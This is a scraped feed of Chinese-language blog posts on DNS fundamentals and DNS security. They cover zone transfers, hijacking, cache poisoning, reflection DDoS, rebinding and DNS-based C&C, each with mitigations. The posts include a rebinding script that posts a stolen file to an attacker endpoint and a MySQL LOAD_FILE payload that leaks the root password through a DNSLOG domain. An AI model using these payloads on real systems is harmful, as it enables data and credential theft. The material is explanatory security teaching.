; <<>> DiG 9.9.4-RedHat-9.9.4-61.el7 <<>> h0u5er-dns.com @192.168.84.184
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 43631
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;h0u5er-dns.com.INA

;; Query time: 1 msec
;; SERVER: 192.168.84.184#53(192.168.84.184)
;; WHEN: Thu Jun 28 02:50:48 EDT 2018
;; MSG SIZE  rcvd: 43

[root@dns2 ~]# dig axfr h0u5er-dns.com @192.168.84.184   // 此时已经把 any 替换为 192.168.84.184

; <<>> DiG 9.9.4-RedHat-9.9.4-61.el7 <<>> axfr h0u5er-dns.com @192.168.84.184
;; global options: +cmd
; Transfer failed.

基于 DNS 的劫持攻击

经典 Ettercap 工具中的 MITM-ARP poisoning 和 DNS spoof 功能即可完成，操作请参考互联网。

1
2
3
4
[root@dns1 ~]# yum -y install nginx   // 简单部署 nginx 并监听本地 80 端口

root@kali:~# cat /etc/ettercap/etter.dns | grep 84.128   // kali 启用 apache 和 ettercap
*.h0u5er-dns.comA192.168.84.128

解决办法：SSL + HTST + 可信的 DNS 服务提供商。

基于 DNS 的缓存投毒

无论是普通的 DNS 缓存投毒还是著名的 Kaminsky 缓存投毒，问题都是指向权威 DNS 服务器（ 亦称本地 DNS 服务器 ）普通的 DNS 是基于 UDP 传输，在查询和应答的过程中并不检查数据包的合法性，仅仅比对数据包的源 IP 地址、端口和随机查询 ID 信息是否一致，如果匹配就接受此应答数据包并且将后续到达的其他应答数据包一律丢弃。
普通的 DNS 缓存投毒实际上就是 UDP 会话劫持。攻击者可以构造应答数据包，其中包括 www.example.com 的伪造 A 记录 IP 地址、权威 DNS 的来源 IP 地址、端口和随机查询 ID 信息，需要保证这个伪造的应答数据包在权威 DNS 应答数据包之前被缓存 DNS 服务器记录并转发，那么劫持就完成了。基于 DNS 递归查询和缓存生产时间（ TTL ）的原理，如果劫持成功，用户在一定时间范围内访问 www.example.com 都会被指向到伪造的 A 记录 IP 地址。如果劫持失败，有可能是因为www.example.com 指向的正确 A 记录被缓存 DNS 记录，此时用户无需迭代查询，导致无法完成 UDP 会话劫持， 攻击者则需要等待 TTL 过期，由此 Kaminsky 缓存投毒改进了这种低成功率的攻击方式。
Kaminsky 缓存投毒一个非常大的优势是节约攻击所需时间，思路很新奇。假设需要劫持已经有正确 A 记录的网站，普通 DND 缓存投毒的时间浪费在等待 TTL 到期，那么 Kaminsky 缓存投毒的第一步就是向 DNS 缓存服务器发送一个不存在的域名解析请求，如 not-exist.example.com，缓存 DNS 服务器收到请求之后务必会发起迭代查询。正常情况下，example.com 的权威服务器会返回 NXDOMIAN 表示域名不存在，那么攻击者此时可以伪造数据包：包括 example.com 权威服务器的 IP 、端口号和 NXDOMIAN 应答结果，不同的数据是授权资源记录会被改为 ns-evil.example.com 并且 SOA 的 A 记录会指向一个特定的恶意 IP，同样的数据包需要在权威 DNS 应答数据包之前被缓存 DNS 服务器记录并转发。如果劫持成功，那么用户在特定时间所有查询 *.example.com 的记录都会被转发到这个恶意 IP 。发起攻击的时候，攻击者每一次的查询都在目标域名上添加随机序列号，如果不出成功，只需要快速并且不断的修改随机序列号即可。因此 Kaminsky 缓存投毒的成功率和攻击效果都比普通 DNS 缓存投毒要高许多。

解决办法： DNSSEC 、IPv6、随机 UDP 端口池、一主多备的权威 DNS。

基于 DNS 反射的 DDOS 攻击

DNS 和 NTP 都是纯天然的流量放大器，通过极小的请求返回很大的回应数据包。在做资料搜寻的时候，有人讨论关于 DNS 反射攻击和 DNS 放大攻击的定义问题，显然 DNS 放大攻击是众多反射攻击的一种，比如 Memcached DDoS Attack 也是属于反射攻击。什么是 DDOS 攻击、什么是 DNS 洪水攻击、什么是 DNS 反射 DDOS 攻击，上述问题都在 cloudflare.com 有系统且专业的回答，本文不再赘述。
DNS域名服务器的开放递归服务和源 IP 地址伪造技术是成功实施分布式DNS反射DDoS攻击的必要条件。假设攻击者的 IP 是 5.6.7.8，受害者的 IP 是 2.2.2.2。攻击者只要不断的对 DNS 服务器宣称自己伪造的 IP 是 2.2.2.2 并且需要查询 example.com 的 A 记录信息。当 DNS 服务收到请求之后，便会把 A 记录发往 IP 为 2.2.2.2 的主机。由于 DNS 通信一般是使用 UDP 数据包传输，攻击者能轻易的做到不断执行伪造的 DNS 查询，那么受害者就会不断收到来自 DNS 服务器的应答。
利用上一篇讲到的EDNS0 拓展协议，可以使得单个应答数据包增大至 3000 字节以上。同时如果攻击者发起的是 ANY 类型的 DNS 查询的话，那么这个解析请求必须发送到对应的权威 DNS 服务器上，并且响应数据包中会包括所有的可用记录，如果这一台权威 DNS 服务器是攻击者可控的，那么攻击者可以通过添加大量杂乱 TXT 类型记录的方式来继续增大应答数据包的大小。综上所述，不断的伪造请求并且最大化应答数据包的大小，这就是 DNS 反射 DDOS 的基本思路。

An ANY query is a type of DNS query that retrieves all records available for a domain name. The ANY query must be sent to a name server that is authoritative for a domain.

解决办法：

  • 中国奠信，世界加钱可及；
  • DNS 服务器不响应来自互联网的查询；
  • 限制 DNS 响应数据包大小；

DNS 的重绑定攻击

Most notably, Blizzard’s video games, the Transmission torrent client, and several Ethereum cryptocurrency wallets were vulnerable to DNS rebinding attacks until recently.

DNS 重绑定攻击 ( DNS Rebinding Attacks ) 是红队常见用于绕过同源策略 ( Same-origin Policy,SOP ) 和绕过防火墙策略的有效手段之一，并且 DNSSEC 对此也无能为力。
同源策略最大的作用就是帮助我们区分来自不同域名的 cookies ，并且将资源存放到对应的域名文件夹下。即便是称作浏览器安全基石的同源策略，依然无法抵御利用 img, script, link, iframe 的属性进行挂马的行为。关于 SOP 的内容在互联网已经很多，本文不再赘述。另外，内容安全策略 ( Content Security Policy,CSP ) 也是可以了解一下。

  1. 攻击者购买并且使用 domain.com 域名，配置 DNS 记录指向 1.2.3.4，设置 TTL 值为 59 秒；
  2. 诱惑受害者打开 foo.domain.com 页面，并且在浏览器执行预先设置的脚本，部分如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script src=http://*********/static/jquery.min.js ></script>
<script>

setTimeout("POST()",59000)     // 设置延时 59 秒后执行 function

function POST(){
    alert();
    $.ajax({
    url:"http:/foo.domain.com/secret.txt",    
    type:"GET",
    success: function(data){
        $.post("http://你的xss平台",{'a':data})}
        }
    );
}

</script>
  1. 可以利用视频、图片等方式使用户在该浏览器页面逗留超过 59 秒，期间攻击者修改 DNS 记录指向为 127.0.0.1；
  2. 59 秒过后，由于上一条 DNS 缓存记录已经过期，浏览器开始执行脚本就需要再次进行 DNS 解析。得到 DNS 的回应 foo.domain.com 记录为 127.0.0.1，于是请求 http:/127.0.0.1/secret.txt；
  3. 至此，浏览器不认为响应返回的 IP 不同是跨域行为，所以成功绕过同源策略。

基于这个攻击原理，Kali Linux 提供了对应的工具 Rebind。该工具可以实现对用户所在网络路由器进行攻击。当用户访问 Rebind 监听域名，Rebind 会自动实施 DNS Rebinding 攻击，通过用户的浏览器执行 js 脚本，建立socket 连接。这样，Rebind 可以像局域网内部用户一样，访问路由器，从而控制路由器。 另外攻击者需要考虑 DNS 服务器 TTL 值设置问题，因为国内许多 DNS 服务提供商并不会严格按照标准来处理缓存，阿里云的 TTL 是必须大于 10 的，而 8.8.8.8 是支持 TTL 等于 0 的情况，即不对 DNS 进行缓存。http://ceye.io 提供 DNS 重绑定的测试平台。

解决办法：

  • 并非万能的 DNS pinning

攻击者可以先加载 “ 隐藏” 的 img，指向不存在服务的 evil.com:1024 ，导致浏览器缓存和 DNS pinning 机制失效，此时浏览器会再次起解析，那么攻击者可以继续完成 DNS 重绑定攻击。

  • 使用 dnswall 过滤来自外部响应的私有 IP 地址
  • 检查主机的 header 信息
  • 屏蔽浏览器对特定端口的访问
  • Chrome://net-internals/#dns
  • ipconfig /displaydns

基于 DNSLOG 的 SQL 盲注攻击

当攻击者执行了 SQL 语句但是无法在前端回显数据的情况下，我们称之为 SQL 盲注，主要包括：基于布尔 SQL 盲注、基于时间的 SQL 盲注、基于报错的 SQL 盲注和涉及 DNSLOG 的 SQL 盲注。顾名思义，我们希望通过 DNSLOG 来得到执行之后的回显，DNSLOG 盲注最大的特点就是比前面的几种注入效率更高、时间更短。在 sqlmap 跑不动或者 IP 已经被防火墙拉黑的时候，DNSLOG 查询提供一个新思路，它还适用于 Linux 和 Windows 环境下的查询，Linux 还支持带系统自定义变量语句。下面是对 Mysql 数据库执行 DNSLOG 盲注的流程：
上面的流程我们用到了 load_file 函数，该函数在 Mysql 中负责读取文件并且以字符串的形式返回内容。http://ceye.io 测试平台友好的提供了不同数据库环境的 Playload。在使用 load_file 函数之前，需要保证：

  • 具备 file_priv 权限；
  • 具备 web 目录读取权限；
  • 具备文件的绝对路径；
  • 文件内容需要小于 max_allowed_packet 的值；
1
2
3
4
5
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.0tx55d.ceye.io\\abc'));

password 可替换攻击者需要执行的 SQL 查询语句；tx55d
.mysql.ip.port.0tx55d.ceye.io 可替换为其他 dnslog 的查询平台
abc  可替换任意字符串

根据 OWASP Top 10 Application Security Risks - 2017 报告指出，注入攻击依然是工程师需要关注的安全问题。注入攻击大部分是利用忽略检查或函数调用漏洞，将恶意指令或参数传递给设备执行的一种攻击手法，有部分人认为SQL注入攻击是只针对 Microsoft SQL Server 而来，但只要是支持批处理 SQL 指令的数据库服务器，都有可能受到此种手法的攻击。抵御 SQL 注入攻击是一门大学问，但是最起码的措施包括：

  • 良好的架构设计
  • 有责任心的开发和运维
  • 过滤请求和参数
  • 替换和拦截危险字符
  • @知乎讨论

基于 DNS 通信的 C&C 服务器

我刚刚开始接触信安领域的时候，是由葛军的灰鸽子领进门，现在的 C&C 服务器就有点类似于灰鸽子的控制端，Command and Control Server，简称 C&C 服务器，也有人称 C2 服务器。
灰鸽子的工作原理和红队利用本地权限漏洞提权很类似，在受害者的设备执行 exp 或者恶意 exe 成功提权后，让受害者的设备通过网络 IP 地址主动连接到攻击者特定的网络端口 ( 肉鸡上线 )，攻击者在自己的计算机上就可以通过指令来控制受害人的设备，攻击者自己本身的计算机就是一台 C&C 服务器。这里面临两个很尴尬的问题，肉鸡上线需要攻击者的 IP 是公网 IP 地址，否则受害者的设备无法连接到一个内网地址的指定端口。其次自身的计算机直接作为 C&C 服务器容易被查水表。
有两种办法解决上述问题，内网映射和增加跳板机。内网映射( 也称内网穿透 ) 会给自己带来更大的风险，因此更多人采用后者解决问题，而且只需要拥有公网 IP 的机器都可以充当作跳板机，常见跳板机都是已经被攻击者长期控制的肉鸡或者在黑市购得的服务器充当，由于跳板机的数量可以无限的多，也保证了攻击者的匿名性。为了保障肉鸡能长期被攻击者所控制，攻击者们需要把肉鸡上线步骤中的 IP 地址变成通过域名上线，因为攻击者对域名解析的控制权是比 IP 地址的控制权跟稳定一些，这样就可以保持攻击者与受害者的联系枢纽不被破坏。
DNS 的作用不仅仅与此，攻击者可以通过 DNS 隧道技术避开防火墙对端口的限制，从而将特定的命令讯息发送给受害者执行，如 DDOS 攻击的发起时间、上传敏感数据、执行勒索软件等。通过域名上线同样具有缺点，那就是域名在流量分析记录中总会以为相同字符串的形式出现，难免会让安全人员起疑并直接封锁域名，导致域名无法解析，进而攻击者无法继续控制肉鸡设备，这是目前针对 C&C 服务器最有效的办法，但也不妨碍攻击者继续通过域名生成算法 ( DGL ) 或者 Domain Fronting 等方式降低域名被识别和封锁的可能性。

总而言之，工程师们想精确识别并封锁网络中 C&C 服务器通信，那必须做好折腾的准备，如基于机器学习的 C&C 服务器识别和数据泄漏保护 ( Data Leakage Prevention,DLP ) 都是不错的手段，毕竟攻防抗衡就是一门斗智斗勇的艺术。有空的话下一篇文章再聊一聊 Cobalt Strike 大杀器， C&C 黑名单？不存在的。

结束语

平时非常懒，为什么会想写关于 DNS 的安全问题，因为我也想站在大佬的角度看待问题，正在努力。

参考资料

谷歌 DNS 劫持的技术分析

DNS Kaminsky缓存投毒

DNS rebind 攻击原理

分布式DNS反射DDoS攻击检测及控制技术

]]> https://www.h0u5er.com/dns-3/ 2018-07-05T19:06:58.000Z DNS 主从服务搭建

互联网上有许多资料可以参考，这里就不重复造轮子了，搭配 keepalived]]>

域名名称系统杂谈#3 2018-07-05T19:06:58.000Z Houser Yuen

如果你还不了解 DNS 的基本工作，请查看 DNS 杂谈(上) ，本篇主要叙述 DNS 现有的问题。

13 个根域

13 这个数字是怎么定下来的？13 个根域的 IP 不代表就只有 13 台服务器在支撑整个 DNS 系统，别忘记了还有任播和服务集群的技术。

在协议上，TCP 协议涉及非常高的开销，因为它包含多个建立 TCP 连接的步骤和过程，可能会减慢整个通信过程，因此 RFC1035 规定 DNS 协议基于 UDP ，但 UDP 属于不可靠的数据报协议，因为当 UDP 数据包的大小超过了最大值，就需要在 IP 层进行分包，意味着接收方需要对接受到的数据包进行重组且 UDP 是无序发送数据的，所以一旦接受方无法重组数据，就会丢弃整个 IP 数据报。另外，分包后的数据包中只有一个包会记录端口信息，非状态型防火墙可能会拦截不包含端口信息的数据包。因此为了避免一系列的麻烦，我们就有 DNS 通信的数据包大小不能超过 UDP 的最大限制 的这一说法。对于 IPv4 而言的 MTU （ maximum transmission unit ） 则是 512 字节，通过计算得出数据包内只能包含 13 台服务器的 IP 信息，因此根域服务器数量为 13 台。

EDNS0 拓展协议

RFC4035 指出，支持 DNSSEC 的服务器必须支持 EDNS0 拓展。RFC5966中要求，DNS 服务器支持 TCP 查询，一次 TCP 应答的最大长度是 65535 字节。

上面一个小节我们提到了 DNS 数据包大小的问题，但随着 IPv6 的普及使用，DNS 数据包中并不能装下 13 个 IPv6 的信息数据，人们急切需要使用超过 MTU 值大小限制的 DNS 数据包，所以出现了 EDNS0 拓展，并且从 BIND9 之后的版本开始启用该拓展。它通过在递归服务器（ Recursive Server ）和权威服务器（ Authoritative Name Server ）之间协商和探测能支持的 UDP 分组大小，来增大 UDP 分组的最大限制以容纳整个应答。 权威 DNS 是特定域名记录（ 例如“example.com” ）在域名注册商处所设置的 DNS 服务器，用于特定域名本身的管理（增加、删除、修改等） 。权威 DNS 服务器只对自己所拥有的域名进行域名解析，对于不是自己的域名则拒绝访问。比如，向 “example.com” 的权威 DNS 服务器查询 “test.com” 的域名肯定会查询失败。递归 DNS（也称本地 DNS 或者缓存 DNS）用于域名查询。递归 DNS 会迭代权威服务器返回的应答，直至最终查询到的 IP 地址，将其返回给客户端，并将请求结果缓存到本地。

在说 DNSSEC 之前，我想讲讲 DNS 欺骗攻击和缓存污染攻击的原理。DNS 欺骗 （ DNS spoofing ）是典型的一种中间人攻击（ Man-in-the-middle attack，MIMT ），维基百科还称之为 DNS 缓冲投毒 （ DNS cache poisoning ）。客户端访问 example.com ，在本地缓存查找不到域名 IP 的时候，客户端向 DNS 发起解析请求。正常情况下应该返回 example.com 的对应 IP 地址是 X.X.X.X，但是由于攻击者潜伏在网络中，他可以对 DNS 应答客户端的数据包进行修改或者直接由攻击者冒充 DNS 服务器向客户端应答解析请求，导致 example.com 的对应 IP 地址变为 Y.Y.Y.Y.，此时用户的浏览器地址栏依然看到是 example.com ，但事实上却访问了 Y.Y.Y.Y 网站。为了提高 DNS 的解析速度，DNS 服务器一般都会将近期的查询记录进行缓存，保留几小时甚至几天的时间不等，这就导致了但 DNS 被污染之后需要一段时间才能完全在网络中更正过来。更可怕的是，普通 DNS 使用 UDP 协议，大大降低了伪造 DNS 响应数据包的难度。 如果 DNS 被劫持，那么攻击者可以实现：

  • 页面内的广告投放，赚钱；
  • 转跳到高仿钓鱼网站，盗号；
  • 转跳到木马网站，抓肉鸡；

DNS 欺骗攻击能成功的关键，就是因为请求者无法验证 DNS 应答信息来源的真实性和完整性，如果利用密码学中的 “ 数字签名 ” 技术就可以解决这个问题，而 DNSSEC 就是这样的一种手段。安全的 DNSSEC 是需要从根区域到最终域名的查找过程中的每一步都部署该项技术 。.com 对 example.com 的密钥进行签名，根区域对 .com 的密钥进行签名。在验证过程中， DNSSEC 沿着该信任链一直追溯到根区域，并自动使用该路径上的 “ 父 ” 密钥验证 “ 子 ” 密钥。因为每个密钥都可以由它上面的一个密钥进行验证，所以验证整个域名所需的唯一密钥是最顶层的父密钥（即根密钥）。因此，DNSSEC 的实现需要面对诸多的挑战，如密钥管理、部署成本、用户体验等等。

DNS 的隐私问题

DNSSEC 技术本质上解决了 DNS 欺骗或 DNS 缓存投毒的攻击的问题，但是 DNS 通信没有加密处理，也不需要对使用者进行身份认证，这就导致了 DNS 很容易就泄露了用户的信息，而谈得上隐私信息的应该是数据包中的网页地址和 IP 地址。随着 IPv6 的普及使用，IP 地址等同于用户的个人标识。通过分析用户访问的网站，我们使用朴素贝叶斯分类器（Naive Bayes Classifier） 对就可以快速推测用户的基本特征，如性格、工作、地理位置和生活习惯等等。

上图是 DNS 服务查询的流程，那么我们是否有必要将每一次查询的信息都完整记录在查询请求中？比如我们只需要告诉根域名服务器我们需要访问 “ .com ” ，那么根域名服务器也可以正常返回对应的应答信息，同理我们也只需要告诉顶级域名服务器我们需要访问 “ example.com ” 即可，尽少的个人信息被 DNS 服务器记录，减少攻击面，因为即便浏览器的查询记录被清除，服务器的查询记录依然存在。另外，用户浏览 Web 页面的时候，可能会请求不同域名下的图片、视频、脚本等资源，而每一次请求必然会发起 DNS 的请求。甚至部分浏览器或开发者为了提高用户体验，使用 DNS 预读取技术加快网页的打开速度，而这里的 DNS 请求往往是用户所不知道的。我们可以通过下面的标签禁止 DNS 的预读取：

DNS Prefetch：<meta http-equiv=”x-dns-prefetch-control” content=”off”>

DNS 的隐私保护

隐私保护一方面是法律问题，比如最近热门话题 GDPR。另一方面是技术问题，下面有部分保护方案的例子，它们都是从不同的角度对隐私问题进行考量，因此不一定应用在实际的生活环境中。

  • DNS-over-TLS，DNS-over-DTLS 或 DNSCurve 。通过在链路上进行加密的手段，保证链路上的用户隐私不被泄露和恶意监听。但是都不可避免的引入了较大的开销，加密和保证可靠通信带来的延迟问题对用户体验影响很大，且不能减少 DNS 服务器上的隐私信息收集问题。
  • 查询最小化。修改递归服务器上的查询策略，根据已知的 DNS 服务器的身份判断是否发送域名的全部信息。部署简单，但是无法匿名，只能降低部分 DNS 服务器对查询请求的记录。
  • 加入混淆。构建一个虚拟查询集，将用户的真实查询隐藏在虚拟查询集之中，然后把数据一并发送给服务器，从而降低被分析出真实访问网站的行为。同样无法匿名，查询开销变大，需要维护虚拟查询集。
  • 广播热门域名。递归服务器定期参与热门域名的广播 ，用户主机本地缓存热门域名，从而使得热门域名的查询不通过递归服务器，理论上没有隐私泄漏分析。同样匿名性较低，需要维护热门域名表。
  • EncDNS。通过特定的服务器做代理，代替用户进行查询，传输过程中使用 DNSCurve 来保护用户隐私，从而隐藏真正的查询发起者。但是存在单服务器有性能瓶颈和单点失效问题 。
  • PPDNS + NameCoin。PPDNS 构建了一个基于 P2P 网络 的 DNS，域名查询结果由网络中的不同节点提供，不存在单一中央的服务器。NameCoin 构建了一个基于比特币技术的 DNS，所有的域名信息记录在一条新的区块链上，用户通过同步区块链来 实现查询完全本地化。但是这种方式需要修改现有架构，部署难度大。

如果就是单纯是一个普通用户而言，我们能做的措施比较被动。首先，不建议使用运营商或非权威机构提供的 DNS 递归解析服务（ Trusted Recursive Resolver，TRR ），对于未知安全性的链接，时刻保持你的警惕，尤其是 IE 用户。其次，在确认某个协议之前请认真看一遍有关于隐私信息的条例，不要盲目同意，在提交敏感信息之前确认对方可信任。然后，你需要弄清楚浏览器的一些功能（Javascrip、cookies、定位、同步等）是否是自己需要用到的。最后，请拥抱 HTTPS 。

基于便利和隐私的考量，上述建议酌情采用，比如本页面依然是 http :(

DoH 的应用

在 DNS 的隐私保护中有一个方案是利用 HTTPS 对 DNS 进行通信链路上的保护，也就是常说的 Dns-over-Https（ 亦有人简称 DoH）。在本文章的上篇里面，我们讲到了主从 DNS 服务器，TCP 协议一般用于 DNS 服务器之间的通信，而 UDP 协议一般用于客户端和 DNS 服务器之间的通信，那 DNS 怎么支持 HTTPS 了？在 RFC 7858 中指出，所有 DNS 数据都需要通过 TLS 端口传输，意味着在使用 DNS 通信之前，就必须启动 TLS 握手。DNS over HTTPS 利用 HTTP 协议的 GET 命令发出经由 JSON 编码的 DNS 解析请求，Google 及 Mozilla 基金会正在测试这一协议，作为其提高网络安全性的努力的一部分。

DNS 和 CDN

利用 DNS 可以做到对于网站访问的负载均衡。客户端对 DNS 服务器发起域名解析请求的时候，其实就是在询问 DNS 服务器 “ 我应该访问哪个 IP 的服务器 “，那么 DNS 服务器此时就充当了资源调度的角色，DNS 服务器可以根据简单的轮询和权重配置对客户端的请求作出应答，对于解析域名 www.example.com 的应答可能是指向 A 服务器，也可能是指向 B 服务器。因为 DNS 的 A 记录是可以有多条的，比如：主机 www 对应的 A 记录有三条，分别是 1.1.1.1 、2.2.2.2、3.3.3.3，且 1.1.1.1 的权重比其他的高一级，三者的线路均为默认。
CDN（ Content Delivery Network ）即内容分发网络。它的基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节，使内容传输的更快、更稳定。用户可就近取得所需内容，解决 Internet 网络拥挤的状况，提高用户访问网站的响应速度。

DNS 和 CDN 是两种完全不同的技术，但是两者却有分不开的关系。使用了 CDN 的域名，它的解析过程应该是：

  1. 浏览器输入域名 www.example.com，执行迭代查询和递归查询；
  2. 得到 CDN 事先配置完成 www.example.com 的 CNAME 记录；
  3. 浏览器再次解析 CNAME 记录，得到 CDN 缓存服务器的 IP 地址；
  4. 浏览器向 IP 地址发起请求，缓存服务器收到请求并根据域名执行判断：
    1. 通过 Cache 内部的DNS 解析获得域名对应的真实 IP 地址；
    2. 查看缓存服务器本地是否存在该真实 IP 地址对应的资源，存在则直接发送给用户，不存在进入下一步；
    3. 缓存服务器向真实的 IP 地址发起请求，获取网页内容，本地保持数据并且发送给用户；
  5. 浏览器加载数据，页面渲染完成。

CDN 对比 DNS 的负载均衡，CDN 不需要多个配置相同服务的服务器，网站缓存的数据由 CDN 服务提供商存储，用户通过 DNS 就可以找到最适合自己网络的数据缓存。CDN 是分布式的，具有天生的抵御 DDOS 攻击优势，当用户访问加入 CDN 服务的网站时，域名解析请求将最终交给全局负载均衡 DNS 进行处理 。目前市面上的智能 DNS 是全球负载均衡（ Global Server Load Balance，GSLB ）的一种应用。GSLB 可以通过 DNS 或者 HTTP redirection 技术等方案实现。

参考资料

根域名服务器数量计算

DNSSEC 部署

dns over https 简介

CDN 与 DNS 的关系

GSLB概要和实现原理

《Research on status of DNS privacy》

]]> https://www.h0u5er.com/dns-2/ 2018-06-26T20:05:50.000Z

如果你还不了解 DNS 的基本工作，请查看 DNS 杂谈(上) ，本篇主要叙述 DNS 现有的问题。

 域名名称系统杂谈#2 2018-06-26T20:05:50.000Z Houser Yuen

多年前，腾讯管家曾是我对 DNS 的启蒙老师，他提供 “可以上QQ，但是无法浏览网页” 这种情况的一键修复功能，但 DNS 的问题应该可以聊很多吧，本篇介绍 DNS 内容基础。

什么是DNS

域名称系统（Domain Name System ），是 IP 地址和域名映射关系的分布式数据库。DNS 同时使用的 TCP 和 UDP 的 53 端口。基于两种协议的特性，TCP 的 53 端口用于区域文件的数据传输，UDP 的 53 端口用于监听查询请求。

常用命令

1
2
3
4
5
# dig -t 记录类型 要解析的域名 @DNS服务器
# dig -t axfr 要解析的域名 @DNS服务器
# dig +trace 要解析的域名  @DNS服务器
# host -t 类型 要解析的域名 DNS服务器
# nslookup

主从 DNS 服务器

基于可靠性和持续性的考虑，DNS 支持主从模式部署。在购买域名 example.com 之后，第一步要做的就是对域名进行解析，我们可以选择自建 DNS 服务或者托管到提供 DNS 服务的第三方网站。然后负责解析 example.com 的这一台DNS 服务器 IP 需要注册到上一级服务器，整个 DNS 服务才算部署完成，暂且称这一台 DNS 服务为主服务器。另外的一台从 DNS 服务器会同步主 DNS 服务器上的数据，因此它具有和主 DNS 服务器一样的解析数据库。由于区域传送（zone transfer）是单向的，要么从 DNS 服务器定期向主 DNS 服务器进行询问和同步数据，要么主 DNS 服务器发生更新之后，通知从 DNS 服务器执行同步操作，所以解析的数据只能在主 DNS 服务器上修改，这也是为什么域名解析配置完成之后需要一段时间才能全球同步并生效。

  • DNS 有一个起始授权记录（Start of Authority），负责标记区域内的主 DNS 服务器信息，一个区域只能有一个主 DNS 服务器。
  • DNS 服务器支持一主多从的工作模式；
  • 从 DNS 服务器可以在上一级的从 DNS 服务器拉取区域传送的数据，称为多级从服务器。
  • 第一次进行区域传送，一般都是包含完整的区域信息，称作完全区域传送（axfr）
  • 非第一次的进行区域传送，通常采用增量的方式，称作增量区域传送 （ixfr）
  • 主 DNS 服务器长时间内不响应询问请求，从 DNS 服务器不会自动接替工作。

缓存 DNS 和转发 DNS

无论是负责转发 DNS 还是负责缓存 DNS，意义都在于减轻网络压力，提高工作效率。客户端接收到查询请求之后，那么就会有：

  1. 查询本地 hosts 文件，如果没有匹配项，进入下一步。
  2. 查询本地 DNS 缓存，如果没有匹配项，进入下一步。
  3. 向指定 DNS 服务器查询：
    • 查询 DNS 服务器的缓存，如果没有匹配项，进入下一步。
    • 查询 DNS 服务器的数据库，如果没有匹配项，进入下一步。
    • DNS 服务器向根域发请求，执行迭代查询。

我们都知道，缓存查询的速度肯定比数据库的查询速度快。缓存 DNS 服务器会接受本地客户端发起的请求，然后直接向根域进行迭代查询，查询结果缓存到自身的服务器上，进而提高下一次查询的效率，也减少 DNS 的工作压力。在使用缓存作为应答的时候，因为存在与实际情况的时间误差，所以这种应答称之为非权威应答（Non-authoritative answer），缓存的存活时间称作（Time To Live）。

转发 DNS 只负责收到的解析请求进行转发处理，转发的目的地址会基于策略做判断，因此转发 DNS 服务器上不具备缓存数据。

递归查询与迭代查询

互联网上大多数情况下的查找方式都是迭代的，但是 DNS 使用的是先递归，后迭代的方式。

递归查询：A –> B –> C –> D

上面” 缓存 DNS 和转发 DNS “ 小节提到的三点都是属于递归查询。

Alice 问 Bob 是否知道 example.com 的 IP，Bob 不知道，但 Bob 知道 Charlie 知道。

于是 Bob 问 Charlie，Charlie 也不知道，但 Charlie 知道 Dave 知道，如此类推，最后的结果逐级返回。

迭代查询： A –> B， A –> C， A –> D

迭代查询都是从根域开始，然后到顶级域（Top Level Domain，TLD），然后到次级域（Second Level Domain ，SLD），如此执行下去。

Alice 问 Bob 是否知道 example.com 的 IP，Bob 不知道，但 Bob 知道 Charlie 知道，并且把 Charlie 知道的事情告诉了 Alice。

Alice 问 Charlie 是否知道 example.com 的 IP，Charlie 不知道，但 Charlie 知道 Dave 知道，并且把 Dave 知道的事情告诉了 Alice，如此类推，下图表示迭代查询的过程。

任播技术

任播（anycast）是路由形式的一种，类似的还有单播（unicast）、多播（multicast）和广播（broadcast），而路由就是就是通过互联的网络把信息从源地址传输到目的地址的活动。任播技术已经应用于 BGP 路由协议和 DNS 镜像部署等各种领域，截至 2016 年 12 月 5 日，13 台根服务器通过任播技术在全球部署服务节点已达 641 个。另外，广播通讯是无法穿越三层交换机或路由器的。

Alice 问坐在前面的 Bob 放学之后开黑吗？（单播）

班主任 Charlie 在讲台上说你们班是我教过最差的学生！（广播）

班主任 Charlie 跟班长说让没有交作业的同学来一趟办公室！（多播）

年级主任在课室门口问，外面的走廊那么脏谁来扫一扫？只有第一排的 Bob 站起来 （任播）

在单播中，在网络位址和网络节点之间存在一一对应的关系。

在广播和多播中，在网络位址和网络节点之间存在一对多的关系：每一个目的位址对应一群接收可以复制资讯的节点。

在任播中，在网络位址和网络节点之间存在一对多的关系：每一个位址对应一群接收节点，但在任何给定时间，只有其中之一可以接收到传送端来的资讯

我国根服务器发展

目前我国至少具有4 个根服务器和 9 个镜像节点 ：

  • 2003年，ISC 和中国电信共同建立 F 根镜像，是第一引进的根服务器镜像。
  • 2005年，I 根的管理机构 Autonomica 在中国互联网络信息中心（CNNIC）设立了中国第二个根镜像。
  • 2006 年，中国网通与美国 VeriSign 公司合作，正式开通 J 根的中国镜像服务器。
  • 2011 年， CNNIC 在北京新增一个 F 根镜像。
  • 2012年， CNNIC 又部署一个 L 根镜像。
  • 2014年，世纪互联、北龙中网和天地互连 3 家公司分别与 ICANN 合作，在中国新增 3 台 L 根域名服务器镜像节点 。
  • 阿里云与 VeriSign 合作在杭州建设 了一个 J 根镜像。

参考资料

DNS 概念解释—阮一峰

anycast 概念解释—cloudflare

阿里公共 DNS 技术架构简介

根区文件 DNS root zone

《DNS 根服务体系的发展研究》

]]> https://www.h0u5er.com/dns-1/ 2018-06-14T21:59:28.000Z

多年前，腾讯管家曾是我对 DNS 的启蒙老师，他提供 “可以上QQ，但是无法浏览网页” 这种情况的一键修复功能，但 DNS 的问题应该可以聊很多吧，本篇介绍 DNS 内容基础。

]]>

域名名称系统杂谈#1 2018-06-14T21:59:28.000Z Houser Yuen 0X0：简介

Windows 环境下的两种安全认证模式：

NT Lan Manager ，基于哈希算法的认证，用于 Windows NT 和 Windows 2000 Server（or Later） 。

kerberos，基于 Ticket 的认证，用于 Windows 2000 Server（or Later） 和域环境，域环境下常用 Domain Controller 担任 Key Distribution Center 角色。

0X1：NTLM

先介绍有那么几个定义：无法通过哈希值逆推出明文；哈希算法具有抗碰撞特点；Domain Controller 拥有所有用户的密码哈希值的记录；密码在任何地方都不会以明文的形式体现。m 表示 Plaintext，C 表示 Ciphertext，k 表示 key，E 表示 Encryption，D 表示 Decryption。那么就重温一次 NTLM 的认证流程：

